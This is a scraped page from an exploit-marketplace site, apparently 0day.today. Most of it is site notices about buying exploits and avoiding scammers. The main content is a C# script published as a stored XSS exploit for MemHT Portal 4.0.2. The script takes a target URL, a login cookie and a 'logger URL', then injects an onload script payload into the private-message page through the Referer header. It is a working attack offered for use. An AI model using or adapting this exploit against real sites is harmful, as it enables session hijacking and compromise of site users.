0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MemHT Portal 4.0.2 Persistent XSS Exploit
/** * Stored XSS for MemHT Portal 4.0.2 * * Manual: * - Register on target site * - Grab login cookie (login_user=id#loginHash#passwordHash) * - Compile C# source and run it (xNet library is needed) * - Enter target site * - Enter `login_user` cookie value * * Copyright (c) 2015 Nuclear Software */ using System; using xNet.Net; namespace NuclearSoftware { public class Program { static void Main(string[] args) { string address, login_cookie, logger_address = ""; Console.WriteLine("Stored XSS for MemHT Portal 4.0.2\n"); Console.Write("Enter target URL (http://localhost/) or (http://localhost/portal/): "); address = Console.ReadLine(); Console.Write("Enter login cookie (id#loginHash#passwordHash): "); login_cookie = Console.ReadLine(); Console.Write("Enter logger URL (http://localhost/logger.php): "); logger_address = Console.ReadLine(); using (var request = new HttpRequest()) { request.UserAgent = HttpHelper.ChromeUserAgent(); request.Referer = "http://ya.ru</a></body><body onload=alert('Hacked')>"; request.Cookies = new CookieDictionary() { { "login_user", login_cookie }, }; HttpResponse response = request.Get(address + "index.php?page=pvtmsg&op=newMessage"); string content = response.ToString(); if (!content.Contains("denied")) { Console.WriteLine("Logged in!"); Console.WriteLine("XSS succesfully injected!"); } else { Console.WriteLine("Login failed!"); } } Console.ReadKey(); } } } # 0day.today [2024-12-26] #